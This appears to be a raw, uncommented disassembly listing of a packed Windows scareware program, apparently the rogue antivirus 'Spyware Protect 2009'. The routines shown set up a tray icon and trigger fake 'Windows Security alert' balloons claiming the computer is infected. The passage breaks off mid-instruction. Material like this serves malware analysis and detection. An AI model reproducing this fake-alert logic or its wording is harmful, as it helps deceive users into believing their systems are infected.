O U T I N E ======================================= sub_409BC7 proc near ; CODE XREF: sub_417692+5Bp push 0 mov eax, offset loc_41C7C8 call sub_40C46D mov edi, [ebp+8] xor ebx, ebx mov [edi+0Ch], ebx mov [edi+8], ebx mov [edi+4], ebx mov [edi], ebx mov [edi+1Ch], ebx mov [edi+18h], ebx mov [edi+14h], ebx mov [edi+10h], ebx mov [edi+2Ch], ebx mov [edi+28h], ebx mov [edi+24h], ebx mov [edi+20h], ebx push ebx lea esi, [edi+40h] mov [edi+3Ch], ebx mov [edi+38h], ebx mov [edi+34h], ebx mov [edi+30h], ebx call sub_408D6F push ebx lea esi, [edi+48h] mov [ebp-4], ebx call sub_408D6F push ebx lea esi, [edi+50h] call sub_408D6F push ebx lea esi, [edi+58h] call sub_408D6F push ebx lea esi, [edi+60h] call sub_408D6F push ebx lea esi, [edi+68h] call sub_408D6F push ebx lea esi, [edi+70h] call sub_408D6F mov byte ptr [ebp-4], 6 mov [edi+94h], bl mov dword ptr [edi+0Ch], offset sub_409FB8 mov [edi+8], edi mov [edi+4], ebx mov [edi], ebx mov dword ptr [edi+1Ch], offset sub_40A0E8 mov [edi+18h], edi mov [edi+14h], ebx mov [edi+10h], ebx mov dword ptr [edi+2Ch], offset sub_40A147 mov [edi+28h], edi mov [edi+24h], ebx mov [edi+20h], ebx call sub_4170DD test al, al jnz short loc_409CA3 lea esi, [edi+30h] push ebx mov dword ptr [esi+0Ch], offset sub_409CE5 mov [esi+8], edi mov [esi+4], ebx mov [esi], ebx call sub_40A2BB loc_409CA3: ; CODE XREF: sub_409BC7+C2j mov eax, edi call sub_40C50C retn 4 sub_409BC7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_409CAD proc near ; CODE XREF: sub_409F62:loc_409F9Cp ; sub_417692+B3p push esi mov esi, eax cmp dword ptr [esi+4], 0 jnz short loc_409CDA mov eax, [esi+44h] push edi lea edi, [esi+78h] mov [edi], eax mov eax, [esi+4Ch] mov [esi+7Ch], eax call sub_4170D1 movzx eax, al push edi mov [esi+80h], eax call sub_40A2BB pop edi loc_409CDA: ; CODE XREF: sub_409CAD+7j push dword ptr [esi+44h] call dword_41D070 ; SetEvent pop esi retn sub_409CAD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409CE5 proc near ; DATA XREF: sub_409BC7+C8o var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = word ptr -5Ch var_5A = word ptr -5Ah var_58 = dword ptr -58h var_3C = byte ptr -3Ch var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 68h push ebx push esi push edi xor ebx, ebx push ebx push ebx push ebx push ebx push ebx push ebx push ebx push ebx push 0CF0000h push offset dword_4245BC push offset aStatic ; "STATIC" push ebx mov esi, ecx mov [ebp+var_4], ebx mov [ebp+var_8], ebx call dword_41D290 ; CreateWindowExW mov edi, dword_41D2B4 push esi push 0FFFFFFEBh push eax mov [esi+98h], eax call edi ; dword_41D2B4 push offset sub_409F62 push 0FFFFFFFCh push dword ptr [esi+98h] call edi ; dword_41D2B4 mov eax, [esi+98h] push 100h mov [esi+0A0h], eax xor edi, edi push offset aSpywareProtect ; "Spyware Protect 2009" lea eax, [esi+0B4h] inc edi push eax mov dword ptr [esi+9Ch], 3A8h mov [esi+0A4h], edi mov dword ptr [esi+0A8h], 7 mov dword ptr [esi+0ACh], 8001h call dword_41D08C ; lstrcpynW push ebx mov [esi+0B0h], ebx call dword_41D2DC ; GetDC push 20h push 20h push eax mov [ebp+var_C], eax mov [ebp+var_20], edi mov [ebp+var_1C], ebx mov [ebp+var_18], ebx call dword_41D044 ; CreateCompatibleBitmap push offset dword_42CA58 push edi push edi push 20h push 20h mov [ebp+var_10], eax call dword_41D030 ; CreateBitmap push 0Ah pop ecx mov [ebp+var_14], eax xor eax, eax lea edi, [ebp+var_64] rep stosd xor ecx, ecx push 20h pop eax inc ecx mov [ebp+var_5C], cx mov ecx, eax mov [ebp+var_5A], cx push ebx lea ecx, [ebp+var_68] mov [ebp+var_68], 28h mov [ebp+var_64], eax mov [ebp+var_60], eax mov [ebp+var_58], ebx push ecx push offset dword_42BA58 push eax push ebx push [ebp+var_10] push [ebp+var_C] call dword_41D050 ; SetDIBits lea eax, [ebp+var_20] push eax call dword_41D2EC ; CreateIconIndirect push [ebp+var_10] mov edi, dword_41D038 mov [ebp+var_C], eax call edi ; dword_41D038 push [ebp+var_14] call edi ; dword_41D038 mov eax, [ebp+var_C] mov edi, dword_41D264 or dword ptr [esi+0A8h], 2 mov [esi+0B0h], eax lea eax, [esi+9Ch] push eax push ebx call edi ; dword_41D264 mov eax, [esi+0B0h] cmp eax, ebx jz short loc_409EB8 push eax call dword_41D2F8 ; DestroyIcon jmp short loc_409EB8 ; --------------------------------------------------------------------------- loc_409E4E: ; CODE XREF: sub_409CE5+1E2j inc [ebp+var_4] cmp [ebp+var_4], 0Ah jnz short loc_409EA5 push ebx mov [ebp+var_4], ebx call sub_40BB3D pop ecx cmp [esi+94h], bl jnz short loc_409E84 mov ecx, [ebp+var_8] add ecx, 64h cmp ecx, eax ja short loc_409EA5 call sub_409EDC push ebx call sub_40BB3D pop ecx mov [ebp+var_8], eax jmp short loc_409EA5 ; --------------------------------------------------------------------------- loc_409E84: ; CODE XREF: sub_409CE5+182j lea eax, [esi+9Ch] push eax push 2 call edi ; dword_41D264 jmp short loc_409EA5 ; --------------------------------------------------------------------------- loc_409E91: ; CODE XREF: sub_409CE5+1D1j lea eax, [ebp+var_3C] push eax call dword_41D2D8 ; TranslateMessage lea eax, [ebp+var_3C] push eax call dword_41D26C ; DispatchMessageW loc_409EA5: ; CODE XREF: sub_409CE5+170j ; sub_409CE5+18Cj ... push 1 push ebx push ebx push ebx lea eax, [ebp+var_3C] push eax call dword_41D2F0 ; PeekMessageW test eax, eax jnz short loc_409E91 loc_409EB8: ; CODE XREF: sub_409CE5+15Ej ; sub_409CE5+167j push 1 push 64h push dword ptr [esi+74h] call dword_41D074 ; WaitForSingleObjectEx test eax, eax jnz short loc_409E4E push dword ptr [esi+98h] call dword_41D304 ; DestroyWindow pop edi pop esi pop ebx leave retn 4 sub_409CE5 endp ; =============== S U B R O U T I N E ======================================= sub_409EDC proc near ; CODE XREF: sub_409CE5+18Ep push ebx mov ebx, dword_41D08C push edi push 40h push offset aWindowsSecurit ; "Windows Security alert" lea eax, [esi+3C0h] lea edi, [esi+9Ch] push eax mov dword ptr [edi], 3A8h mov dword ptr [esi+0A8h], 11h mov dword ptr [esi+440h], 3 call ebx ; dword_41D08C push 100h push offset aWindowsReports ; "Windows reports that computer is infect"... lea eax, [esi+1BCh] push eax call ebx ; dword_41D08C mov ecx, [esi+98h] and dword ptr [esi+0B0h], 0 xor eax, eax inc eax push edi push eax mov [esi+0A4h], eax mov [esi+0A0h], ecx mov dword ptr [esi+0ACh], 8001h mov dword ptr [esi+3BCh], 0EA60h call dword_41D264 pop edi pop ebx retn sub_409EDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409F62 proc near ; DATA XREF: sub_409CE5+43o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_4], 8001h jnz short loc_409FB1 push 0FFFFFFEBh push [ebp+arg_0] call dword_41D2CC ; GetWindowLongW mov ecx, [ebp+arg_C] cmp ecx, 203h jl short loc_409FA1 cmp ecx, 204h jle short loc_409F9C cmp ecx, 404h jz short loc_409FA7 cmp ecx, 405h jnz short loc_409FA1 loc_409F9C: ; CODE XREF: sub_409F62+28j call sub_409CAD loc_409FA1: ; CODE XREF: sub_409F62+20j ; sub_409F62+38j ... xor eax, eax pop ebp retn 10h ; --------------------------------------------------------------------------- loc_409FA7: ; CODE XREF: sub_409F62+30j push 0 call dword_41D2E4 ; PostQuitMessage jmp short loc_409FA1 ; --------------------------------------------------------------------------- loc_409FB1: ; CODE XREF: sub_409F62+Aj pop ebp jmp dword_41D278 sub_409F62 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409FB8 proc near ; DATA XREF: sub_409BC7+8Co var_104 = dword ptr -104h var_100 = byte ptr -100h var_F8 = dword ptr -0F8h var_F4 = dword ptr -0F4h var_F0 = dword ptr -0F0h var_EC = dword ptr -0ECh var_E8 = dword ptr -0E8h var_E4 = dword ptr -0E4h var_E0 = word ptr -0E0h var_DE = word ptr -0DEh var_DC = dword ptr -0DCh var_C0 = byte ptr -0C0h var_B0 = byte ptr -0B0h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp and esp, 0FFFFFFF8h push 0FFFFFFFFh push offset loc_41C75A mov eax, large fs:0 push eax sub esp, 0E8h push ebx push esi push edi mov eax, dword_42A034 xor eax, esp push eax lea eax, [esp+104h+var_C] mov large fs:0, eax push [ebp+arg_0] lea eax, [esp+108h+var_B0] push eax call sub_409533 xor ebx, ebx push ebx mov [esp+108h+var_4], ebx call dword_41D2DC ; GetDC push 20h pop esi push esi xor edi, edi push esi inc edi push eax mov [esp+114h+var_F8], eax mov [esp+114h+var_F4], edi mov [esp+114h+var_F0], ebx mov [esp+114h+var_EC], ebx call dword_41D044 ; CreateCompatibleBitmap push offset dword_42CA58 push edi push edi push esi push esi mov [esp+128h+var_F0], eax call dword_41D030 ; CreateBitmap push 0Ah pop ecx mov [esp+114h+var_F4], eax xor eax, eax lea edi, [esp+114h+var_E8] rep stosd inc eax mov [esp+114h+var_E0], ax push ebx mov eax, esi mov [esp+118h+var_DE], ax lea eax, [esp+118h+var_EC] push eax push offset dword_42BA58 push esi push ebx push [esp+128h+var_F0] mov [esp+12Ch+var_EC], 28h push [esp+12Ch+var_104] mov [esp+130h+var_E8], esi mov [esp+130h+var_E4], esi mov [esp+130h+var_DC], ebx call dword_41D050 ; SetDIBits lea eax, [esp+114h+var_100] push eax call dword_41D2EC ; CreateIconIndirect push [esp+114h+var_F0] mov esi, dword_41D038 mov edi, eax call esi ; dword_41D038 push [esp+114h+var_F4] call esi ; dword_41D038 push offset aSwp2009Demo ; "SWP2009 demo" push edi push 90000000h push ebx lea eax, [esp+124h+var_C0] call sub_418186 push edi call dword_41D2F8 ; DestroyIcon or [esp+114h+var_14], 0FFFFFFFFh lea edi, [esp+114h+var_C0] call sub_40961F mov ecx, [esp+114h+var_1C] mov large fs:0, ecx pop ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_409FB8 endp ; =============== S U B R O U T I N E ======================================= sub_40A0E8 proc near ; DATA XREF: sub_409BC7+9Bo push 64h mov eax, offset loc_41C734 call sub_40C46D mov edi, [ebp+8] lea eax, [ebp-70h] push eax call sub_4093B3 xor eax, eax push eax push eax push 90000000h push eax push eax push eax push eax push eax push eax push eax push eax push 0CF0000h push offset dword_4245BC push offset aStatic ; "STATIC" push eax mov [ebp-4], eax call dword_41D290 ; CreateWindowExW push eax lea eax, [ebp-70h] call sub_418186 or dword ptr [ebp-4], 0FFFFFFFFh lea edi, [ebp-70h] call sub_409433 call sub_40C50C retn 4 sub_40A0E8 endp ; =============== S U B R O U T I N E ======================================= sub_40A147 proc near ; DATA XREF: sub_409BC7+ABo push 64h mov eax, offset loc_41C711 call sub_40C46D mov edi, [ebp+8] lea eax, [ebp-70h] push eax call sub_4091FA xor eax, eax push eax push eax push 90000000h push eax push eax push eax push eax push eax push eax push eax push eax push 0CF0000h push offset dword_4245BC push offset aStatic ; "STATIC" push eax mov [ebp-4], eax call dword_41D290 ; CreateWindowExW push eax lea eax, [ebp-70h] call sub_418186 or dword ptr [ebp-4], 0FFFFFFFFh lea edi, [ebp-70h] call sub_40927A call sub_40C50C retn 4 sub_40A147 endp ; =============== S U B R O U T I N E ======================================= sub_40A1A6 proc near ; DATA XREF: UPX0:00424BC4o arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, [eax] push offset dword_4245BC push offset aAppid_0 ; "APPID" push eax call dword ptr [ecx+0Ch] retn 4 sub_40A1A6 endp ; =============== S U B R O U T I N E ======================================= sub_40A1BD proc near ; CODE XREF: sub_4075D2+ECp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esi+8] push 4 inc eax push eax push dword ptr [esi] call sub_40B28B add esp, 0Ch test eax, eax jnz short loc_40A1D6 loc_40A1D2: ; CODE XREF: sub_40A1BD+2Fj xor eax, eax jmp short locret_40A21C ; --------------------------------------------------------------------------- loc_40A1D6: ; CODE XREF: sub_40A1BD+13j mov [esi], eax mov eax, [esi+8] push 4 inc eax push eax push dword ptr [esi+4] call sub_40B28B add esp, 0Ch test eax, eax jz short loc_40A1D2 mov [esi+4], eax mov eax, [esi+8] mov ecx, eax mov eax, [esi] shl ecx, 2 add eax, ecx jz short loc_40A207 mov edx, [esp+arg_0] mov edx, [edx] mov [eax], edx loc_40A207: ; CODE XREF: sub_40A1BD+40j mov eax, [esi+4] add eax, ecx jz short loc_40A216 mov ecx, [esp+arg_4] mov ecx, [ecx] mov [eax], ecx loc_40A216: ; CODE XREF: sub_40A1BD+4Fj inc dword ptr [esi+8] xor eax, eax inc eax locret_40A21C: ; CODE XREF: sub_40A1BD+17j retn 8 sub_40A1BD endp ; =============== S U B R O U T I N E ======================================= sub_40A21F proc near ; CODE XREF: sub_4076FC:loc_407735p ; sub_4077EF+2Dp mov eax, [esi] test eax, eax jz short loc_40A22F push eax call sub_40ADC8 and dword ptr [esi], 0 pop ecx loc_40A22F: ; CODE XREF: sub_40A21F+4j mov eax, [esi+4] test eax, eax jz short loc_40A241 push eax call sub_40ADC8 and dword ptr [esi+4], 0 pop ecx loc_40A241: ; CODE XREF: sub_40A21F+15j and dword ptr [esi+8], 0 retn sub_40A21F endp ; =============== S U B R O U T I N E ======================================= sub_40A246 proc near ; CODE XREF: sub_4076FC+24p ; sub_407A74+45p test eax, eax jl short loc_40A256 cmp eax, [ecx+8] jge short loc_40A256 mov ecx, [ecx+4] lea eax, [ecx+eax*4] retn ; --------------------------------------------------------------------------- loc_40A256: ; CODE XREF: sub_40A246+2j ; sub_40A246+7j push 0 push 0 push 1 push 0C000008Ch call dword_41D1DC ; RaiseException int 3 ; Trap to Debugger loc_40A268: ; CODE XREF: UPX0:0041C3B4j ; UPX0:0041C3BCj push dword ptr [esi] call sub_40B36B and dword ptr [esi], 0 pop ecx retn sub_40A246 endp ; --------------------------------------------------------------------------- loc_40A274: ; CODE XREF: UPX0:0041C2A5j ; UPX0:0041C2ADj ... lea ecx, [eax+4] cmp [eax], ecx jz short locret_40A280 jmp sub_40A2EA ; --------------------------------------------------------------------------- locret_40A280: ; CODE XREF: UPX0:0040A279j retn ; =============== S U B R O U T I N E ======================================= sub_40A281 proc near ; CODE XREF: sub_4098E0+65p ; sub_4098E0+147p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] lea ecx, [eax+2] loc_40A288: ; CODE XREF: sub_40A281+Fj mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_40A288 sub eax, ecx push ebx push [esp+4+arg_4] sar eax, 1 mov ebx, eax mov eax, [esp+8+arg_0] call sub_40A4B6 pop ebx retn 8 sub_40A281 endp ; --------------------------------------------------------------------------- loc_40A2AA: ; CODE XREF: UPX0:0041C272j mov ecx, [eax] add eax, 4 cmp ecx, eax jz short locret_40A2BA push ecx call sub_40ADC8 pop ecx locret_40A2BA: ; CODE XREF: UPX0:0040A2B1j retn ; =============== S U B R O U T I N E ======================================= sub_40A2BB proc near ; CODE XREF: sub_409BC7+D7p ; sub_409CAD+27p ... arg_0 = dword ptr 4 push edi push 8 call sub_40B45F pop ecx mov ecx, [esp+4+arg_0] mov [eax+4], ecx xor ecx, ecx lea edi, [esi+4] push edi push ecx push eax push offset sub_40A478 push ecx push ecx mov [eax], esi call dword_41D0B0 ; CreateThread mov [esi], eax mov eax, [edi] pop edi retn 4 sub_40A2BB endp ; =============== S U B R O U T I N E ======================================= sub_40A2EA proc near ; CODE XREF: sub_4078AB+BCp ; sub_4078AB+175p ... push dword ptr [eax] call sub_40ADC8 pop ecx retn sub_40A2EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A2F3 proc near ; CODE XREF: sub_408F59+2Bp ; sub_408FB6+C1p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jnz short loc_40A309 mov eax, [ebp+arg_0] and dword ptr [eax], 0 jmp locret_40A394 ; --------------------------------------------------------------------------- loc_40A309: ; CODE XREF: sub_40A2F3+9j push ebx push esi push edi push [ebp+arg_4] call dword_41D1D4 ; lstrlenA mov esi, [ebp+arg_0] mov ebx, eax inc ebx lea edi, [esi+4] mov ecx, ebx mov [ebp+var_4], ebx call sub_40A5F1 push ebx push dword ptr [esi] push ebx push [ebp+arg_4] mov ebx, dword_41D1F4 push 0 push [ebp+arg_8] call ebx ; dword_41D1F4 mov esi, eax neg esi sbb esi, esi inc esi jz short loc_40A391 call dword_41D1D8 ; RtlGetLastWin32Error cmp eax, 7Ah jnz short loc_40A388 xor eax, eax push eax push eax push [ebp+var_4] push [ebp+arg_4] push eax push [ebp+arg_8] call ebx ; dword_41D1F4 mov esi, [ebp+arg_0] mov ecx, eax mov [ebp+var_8], ecx call sub_40A5F1 push [ebp+var_8] mov eax, esi push dword ptr [eax] push [ebp+var_4] push [ebp+arg_4] push 0 push [ebp+arg_8] call ebx ; dword_41D1F4 mov esi, eax neg esi sbb esi, esi inc esi loc_40A388: ; CODE XREF: sub_40A2F3+5Bj test esi, esi jz short loc_40A391 call sub_407297 ; --------------------------------------------------------------------------- loc_40A391: ; CODE XREF: sub_40A2F3+50j ; sub_40A2F3+97j pop edi pop esi pop ebx locret_40A394: ; CODE XREF: sub_40A2F3+11j leave retn 0Ch sub_40A2F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A398 proc near ; CODE XREF: sub_408FB6+79p ; sub_408FB6+164p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jnz short loc_40A3AE mov eax, [ebp+arg_0] and dword ptr [eax], 0 jmp locret_40A44E ; --------------------------------------------------------------------------- loc_40A3AE: ; CODE XREF: sub_40A398+9j push ebx push esi push edi push [ebp+arg_4] call dword_41D1F0 ; lstrlenW mov esi, [ebp+arg_0] mov ebx, eax inc ebx mov ecx, ebx shl ecx, 2 lea edi, [esi+4] mov [ebp+var_4], ecx mov [ebp+var_8], edi call sub_40A651 mov edi, dword_41D07C xor eax, eax push eax push eax push [ebp+var_4] mov ecx, esi push dword ptr [ecx] push ebx push [ebp+arg_4] push eax push [ebp+arg_8] call edi ; dword_41D07C mov esi, eax neg esi sbb esi, esi inc esi jz short loc_40A44B call dword_41D1D8 ; RtlGetLastWin32Error cmp eax, 7Ah jnz short loc_40A442 xor eax, eax push eax push eax push eax push eax push ebx push [ebp+arg_4] push eax push [ebp+arg_8] call edi ; dword_41D07C mov edi, [ebp+var_8] mov esi, [ebp+arg_0] mov ecx, eax mov [ebp+var_4], eax call sub_40A651 xor eax, eax push eax push eax push [ebp+var_4] mov ecx, esi push dword ptr [ecx] push ebx push [ebp+arg_4] push eax push [ebp+arg_8] call dword_41D07C ; WideCharToMultiByte mov esi, eax neg esi sbb esi, esi inc esi loc_40A442: ; CODE XREF: sub_40A398+68j test esi, esi jz short loc_40A44B call sub_407297 ; --------------------------------------------------------------------------- loc_40A44B: ; CODE XREF: sub_40A398+5Dj ; sub_40A398+ACj pop edi pop esi pop ebx locret_40A44E: ; CODE XREF: sub_40A398+11j leave retn 0Ch sub_40A398 endp ; =============== S U B R O U T I N E ======================================= sub_40A452 proc near ; DATA XREF: sub_40968F+4Ao arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] mov ecx, [eax+8] mov edx, [eax+10h] push edi mov edi, [eax+14h] push dword ptr [esi+4] add ecx, edi call edx push esi call sub_40AC11 pop ecx pop edi xor eax, eax pop esi retn 4 sub_40A452 endp ; =============== S U B R O U T I N E ======================================= sub_40A478 proc near ; DATA XREF: sub_40A2BB+18o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] push dword ptr [esi+4] mov ecx, [eax+8] call dword ptr [eax+0Ch] push esi call sub_40AC11 pop ecx xor eax, eax pop esi retn 4 sub_40A478 endp ; =============== S U B R O U T I N E ======================================= sub_40A495 proc near ; CODE XREF: sub_4078AB+F3p ; sub_407CD3+114p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] call sub_40AEA5 pop ecx test eax, eax jnz short loc_40A4AD push 8007000Eh call sub_4010D8 ; --------------------------------------------------------------------------- loc_40A4AD: ; CODE XREF: sub_40A495+Cj mov ecx, [esp+arg_0] mov [ecx], eax retn 8 sub_40A495 endp ; =============== S U B R O U T I N E ======================================= sub_40A4B6 proc near ; CODE XREF: sub_40A281+20p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, eax push edi mov ecx, esi call sub_4060F4 test al, al jz short loc_40A4E7 cmp dword ptr [esi+18h], 8 jb short loc_40A4D5 mov eax, [esi+4] jmp short loc_40A4D8 ; --------------------------------------------------------------------------- loc_40A4D5: ; CODE XREF: sub_40A4B6+18j lea eax, [esi+4] loc_40A4D8: ; CODE XREF: sub_40A4B6+1Dj sub edi, eax push ebx sar edi, 1 push edi mov eax, esi call sub_40A54C jmp short loc_40A547 ; --------------------------------------------------------------------------- loc_40A4E7: ; CODE XREF: sub_40A4B6+12j or eax, 0FFFFFFFFh sub eax, [esi+14h] cmp eax, ebx jbe short loc_40A4FB mov eax, [esi+14h] lea ecx, [eax+ebx] cmp ecx, eax jnb short loc_40A500 loc_40A4FB: ; CODE XREF: sub_40A4B6+39j call sub_40AB96 loc_40A500: ; CODE XREF: sub_40A4B6+43j test ebx, ebx jbe short loc_40A545 mov edi, [esi+14h] add edi, ebx mov eax, esi call sub_4060AE test al, al jz short loc_40A545 mov eax, [esi+18h] cmp eax, 8 jb short loc_40A521 mov edx, [esi+4] jmp short loc_40A524 ; --------------------------------------------------------------------------- loc_40A521: ; CODE XREF: sub_40A4B6+64j lea edx, [esi+4] loc_40A524: ; CODE XREF: sub_40A4B6+69j mov ecx, [esi+14h] push [esp+8+arg_0] sub eax, ecx push eax lea eax, [edx+ecx*2] push eax mov eax, ebx call sub_406F3F add esp, 0Ch mov ecx, edi mov eax, esi call sub_405B16 loc_40A545: ; CODE XREF: sub_40A4B6+4Cj ; sub_40A4B6+5Cj mov eax, esi loc_40A547: ; CODE XREF: sub_40A4B6+2Fj pop edi pop esi retn 4 sub_40A4B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A54C proc near ; CODE XREF: sub_40A4B6+2Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx mov ebx, eax mov eax, [ebx+14h] push edi mov edi, [ebp+arg_4] cmp eax, [ebp+arg_0] jnb short loc_40A564 call sub_40ABCE loc_40A564: ; CODE XREF: sub_40A54C+11j mov eax, [ebx+14h] sub eax, [ebp+arg_0] cmp eax, edi jnb short loc_40A573 mov edi, eax mov [ebp+arg_4], edi loc_40A573: ; CODE XREF: sub_40A54C+20j or eax, 0FFFFFFFFh sub eax, [esi+14h] cmp eax, edi jbe short loc_40A587 mov eax, [esi+14h] lea ecx, [eax+edi] cmp ecx, eax jnb short loc_40A58C loc_40A587: ; CODE XREF: sub_40A54C+2Fj call sub_40AB96 loc_40A58C: ; CODE XREF: sub_40A54C+39j test edi, edi jbe short loc_40A5E9 mov eax, [esi+14h] add eax, edi mov [ebp+var_4], eax mov edi, eax mov eax, esi call sub_4060AE test al, al jz short loc_40A5E9 cmp dword ptr [ebx+18h], 8 jb short loc_40A5B0 mov ebx, [ebx+4] jmp short loc_40A5B3 ; --------------------------------------------------------------------------- loc_40A5B0: ; CODE XREF: sub_40A54C+5Dj add ebx, 4 loc_40A5B3: ; CODE XREF: sub_40A54C+62j mov eax, [esi+18h] cmp eax, 8 jb short loc_40A5C0 mov edx, [esi+4] jmp short loc_40A5C3 ; --------------------------------------------------------------------------- loc_40A5C0: ; CODE XREF: sub_40A54C+6Dj lea edx, [esi+4] loc_40A5C3: ; CODE XREF: sub_40A54C+72j mov ecx, [esi+14h] mov edi, [ebp+arg_0] sub eax, ecx lea edi, [ebx+edi*2] push edi push eax lea eax, [edx+ecx*2] push eax mov eax, [ebp+arg_4] call sub_406F3F mov ecx, [ebp+var_4] add esp, 0Ch mov eax, esi call sub_405B16 loc_40A5E9: ; CODE XREF: sub_40A54C+42j ; sub_40A54C+57j pop edi mov eax, esi pop ebx leave retn 8 sub_40A54C endp ; =============== S U B R O U T I N E ======================================= sub_40A5F1 proc near ; CODE XREF: sub_40A2F3+30p ; sub_40A2F3+75p test esi, esi jnz short loc_40A5FF loc_40A5F5: ; CODE XREF: sub_40A5F1+10j ; sub_40A5F1+14j push 80070057h loc_40A5FA: ; CODE XREF: sub_40A5F1+39j call sub_4010D8 ; --------------------------------------------------------------------------- loc_40A5FF: ; CODE XREF: sub_40A5F1+2j test ecx, ecx jl short loc_40A5F5 test edi, edi jz short loc_40A5F5 mov eax, [esi] cmp eax, edi jz short loc_40A63B cmp ecx, 80h jle short loc_40A62C push 2 push ecx push eax call sub_40B28B add esp, 0Ch test eax, eax jnz short loc_40A64D loc_40A625: ; CODE XREF: sub_40A5F1+47j push 8007000Eh jmp short loc_40A5FA ; --------------------------------------------------------------------------- loc_40A62C: ; CODE XREF: sub_40A5F1+22j push eax call sub_40ADC8 pop ecx loc_40A633: ; CODE XREF: sub_40A5F1+50j mov [esi], edi loc_40A635: ; CODE XREF: sub_40A5F1+5Ej cmp dword ptr [esi], 0 jz short loc_40A625 retn ; --------------------------------------------------------------------------- loc_40A63B: ; CODE XREF: sub_40A5F1+1Aj cmp ecx, 80h jle short loc_40A633 push 2 push ecx call sub_40B5BD pop ecx pop ecx loc_40A64D: ; CODE XREF: sub_40A5F1+32j mov [esi], eax jmp short loc_40A635 sub_40A5F1 endp ; =============== S U B R O U T I N E ======================================= sub_40A651 proc near ; CODE XREF: sub_40A398+36p ; sub_40A398+85p test esi, esi jnz short loc_40A65F loc_40A655: ; CODE XREF: sub_40A651+10j ; sub_40A651+14j push 80070057h loc_40A65A: ; CODE XREF: sub_40A651+39j call sub_4010D8 ; --------------------------------------------------------------------------- loc_40A65F: ; CODE XREF: sub_40A651+2j test ecx, ecx jl short loc_40A655 test edi, edi jz short loc_40A655 mov eax, [esi] cmp eax, edi jz short loc_40A69B cmp ecx, 80h jle short loc_40A68C push 1 push ecx push eax call sub_40B28B add esp, 0Ch test eax, eax jnz short loc_40A6AD loc_40A685: ; CODE XREF: sub_40A651+47j push 8007000Eh jmp short loc_40A65A ; --------------------------------------------------------------------------- loc_40A68C: ; CODE XREF: sub_40A651+22j push eax call sub_40ADC8 pop ecx loc_40A693: ; CODE XREF: sub_40A651+50j mov [esi], edi loc_40A695: ; CODE XREF: sub_40A651+5Ej cmp dword ptr [esi], 0 jz short loc_40A685 retn ; --------------------------------------------------------------------------- loc_40A69B: ; CODE XREF: sub_40A651+1Aj cmp ecx, 80h jle short loc_40A693 push 1 push ecx call sub_40B5BD pop ecx pop ecx loc_40A6AD: ; CODE XREF: sub_40A651+32j mov [esi], eax jmp short loc_40A695 sub_40A651 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A6B1 proc near ; DATA XREF: sub_40A71A:loc_40A75Bo var_C = byte ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax push esi xor esi, esi call dword_41D0C0 ; GetThreadLocale push 7 lea ecx, [ebp+var_C] push ecx push 1004h push eax call dword_41D0BC ; GetLocaleInfoA test eax, eax jz short loc_40A6FF mov cl, [ebp+var_C] test cl, cl lea eax, [ebp+var_C] jz short loc_40A6FF loc_40A6EA: ; CODE XREF: sub_40A6B1+48j imul esi, 0Ah movsx ecx, cl inc eax lea esi, [esi+ecx-30h] mov cl, [eax] test cl, cl jnz short loc_40A6EA test esi, esi jnz short loc_40A707 loc_40A6FF: ; CODE XREF: sub_40A6B1+2Dj ; sub_40A6B1+37j call dword_41D0B8 ; GetACP mov esi, eax loc_40A707: ; CODE XREF: sub_40A6B1+4Cj mov ecx, [ebp+var_4] mov eax, esi xor ecx, ebp pop esi call sub_40AC1C leave retn sub_40A6B1 endp ; =============== S U B R O U T I N E ======================================= sub_40A716 proc near ; DATA XREF: sub_40A71A+3Ao push 3 pop eax retn sub_40A716 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A71A proc near ; CODE XREF: sub_401304+Cp ; sub_401BB2+C6p ... var_98 = dword ptr -98h var_94 = dword ptr -94h var_88 = dword ptr -88h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 98h mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax lea eax, [ebp+var_98] push eax mov [ebp+var_98], 94h call dword_41D0C4 ; GetVersionExA cmp [ebp+var_88], 2 jnz short loc_40A75B cmp 